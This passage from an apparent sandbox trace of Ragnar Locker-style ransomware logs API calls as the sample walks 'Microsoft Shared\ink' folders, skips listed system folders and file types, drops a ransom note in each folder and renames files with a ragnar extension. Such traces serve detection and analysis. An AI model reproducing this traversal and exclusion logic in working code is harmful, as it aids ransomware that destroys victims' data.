Shared\\ink\\tr-TR\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.547] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.547] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2=".") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="..") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Windows") returned -1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Windows.old") returned -1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Tor browser") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Internet Explorer") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Google") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Opera") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Opera Software") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Mozilla") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="Mozilla Firefox") returned 1 [0058.547] lstrcmpiW (lpString1="uk-UA", lpString2="$Recycle.Bin") returned 1 [0058.548] lstrcmpiW (lpString1="uk-UA", lpString2="ProgramData") returned 1 [0058.548] lstrcmpiW (lpString1="uk-UA", lpString2="All Users") returned 1 [0058.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.548] lstrcpyW (in: lpString1=0x1eb62e, lpString2="uk-UA" | out: lpString1="uk-UA") returned="uk-UA" [0058.548] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\" [0058.548] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\" [0058.548] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\RGNR_FD7BD9FC.txt" [0058.548] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*" [0058.550] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.550] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.550] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.550] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.550] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7523a6a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.550] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.550] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.550] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.550] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.550] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.551] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.551] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7523a6a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.551] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.551] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.551] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.551] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui") returned=".mui" [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.551] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0058.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.552] CloseHandle (hObject=0xffffffff) returned 0 [0058.552] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" [0058.552] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.552] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.552] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.552] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.552] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2=".") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="..") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Windows") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Windows.old") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Tor browser") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Internet Explorer") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Google") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Opera") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Opera Software") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Mozilla") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="Mozilla Firefox") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="$Recycle.Bin") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="ProgramData") returned 1 [0058.552] lstrcmpiW (lpString1="zh-CN", lpString2="All Users") returned 1 [0058.552] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.553] lstrcpyW (in: lpString1=0x1eb62e, lpString2="zh-CN" | out: lpString1="zh-CN") returned="zh-CN" [0058.553] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\" [0058.553] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\" [0058.553] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\RGNR_FD7BD9FC.txt" [0058.553] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.556] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*" [0058.556] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.556] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.556] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.556] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.556] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.556] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.556] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.556] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7523a6a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.556] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.556] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.556] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.556] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.556] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.557] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.557] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7523a6a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.557] GetFullPathNameW (in: 